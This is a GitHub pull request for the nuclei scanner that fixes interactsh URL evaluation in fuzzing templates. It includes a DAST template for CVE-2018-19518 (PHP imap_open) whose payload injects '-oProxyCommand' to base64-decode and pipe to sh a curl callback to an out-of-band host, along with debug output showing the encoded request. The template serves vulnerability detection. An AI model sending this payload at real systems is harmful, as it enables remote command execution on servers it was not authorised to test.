Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fuzz: fix missing expression evaluation before use #5019

Merged
merged 1 commit into from
Apr 8, 2024

Conversation

tarunKoyalwar
Copy link
Member

@tarunKoyalwar tarunKoyalwar commented Apr 8, 2024

Proposed Changes

id: CVE-2018-19518

info:
  name: PHP imap - Remote Command Execution
  author: princechaddha
  severity: high
  description: |
    University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19518
    - https://www.openwall.com/lists/oss-security/2018/11/22/3
    - https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
  metadata:
    confidence: tenative
  tags: imap,dast,vulhub,cve,cve2018,rce,oast,php

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      php-imap:
        - "x -oProxyCommand=echo {{base64(url_encode('curl {{interactsh-url}}'))}}|base64 -d|sh}"

    fuzzing:
      - part: query
        fuzz:
          - "{{php-imap}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
$ ./nuclei -u 'https://scanme.sh/path?test=123' -t b.yaml -debug -dast

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.3

		projectdiscovery.io

[INF] Current nuclei version: v3.2.3 (latest)
[INF] Current nuclei-templates version: v9.8.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 77
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.site
[INF] [CVE-2018-19518] Dumped HTTP request for https://scanme.sh/path?test=x+-oProxyCommand=echo+Y3VybCtjb2Ezb2JzbzQ3bXRvOTZnODVhZzNzZ25nazh6NmFmY2Iub2FzdC5zaXRl|base64+-d|sh}

GET /path?test=x+-oProxyCommand=echo+Y3VybCtjb2Ezb2JzbzQ3bXRvOTZnODVhZzNzZ25nazh6NmFmY2Iub2FzdC5zaXRl|base64+-d|sh} HTTP/1.1
Host: scanme.sh
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

[DBG] [CVE-2018-19518] Dumped HTTP response https://scanme.sh/path?test=x+-oProxyCommand=echo+Y3VybCtjb2Ezb2JzbzQ3bXRvOTZnODVhZzNzZ25nazh6NmFmY2Iub2FzdC5zaXRl|base64+-d|sh}

HTTP/1.1 200 OK
Connection: close
Content-Length: 2
Content-Type: text/plain; charset=utf-8
Date: Mon, 08 Apr 2024 18:49:20 GMT

ok
[INF] No results found. Better luck next time!
$  pbpaste | base64 -d | bninja url -d
curl coa3obso47mto96g85ag3sgngk8z6afcb.oast.site%                                                                      

@tarunKoyalwar tarunKoyalwar self-assigned this Apr 8, 2024
@tarunKoyalwar tarunKoyalwar marked this pull request as ready for review April 8, 2024 18:50
@tarunKoyalwar tarunKoyalwar requested a review from ehsandeep April 8, 2024 18:50
@ehsandeep ehsandeep merged commit 74dee42 into dev Apr 8, 2024
12 checks passed
@ehsandeep ehsandeep deleted the interactsh-fuzz-not-working branch April 8, 2024 19:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Interactsh urls not working in fuzzing templates
2 participants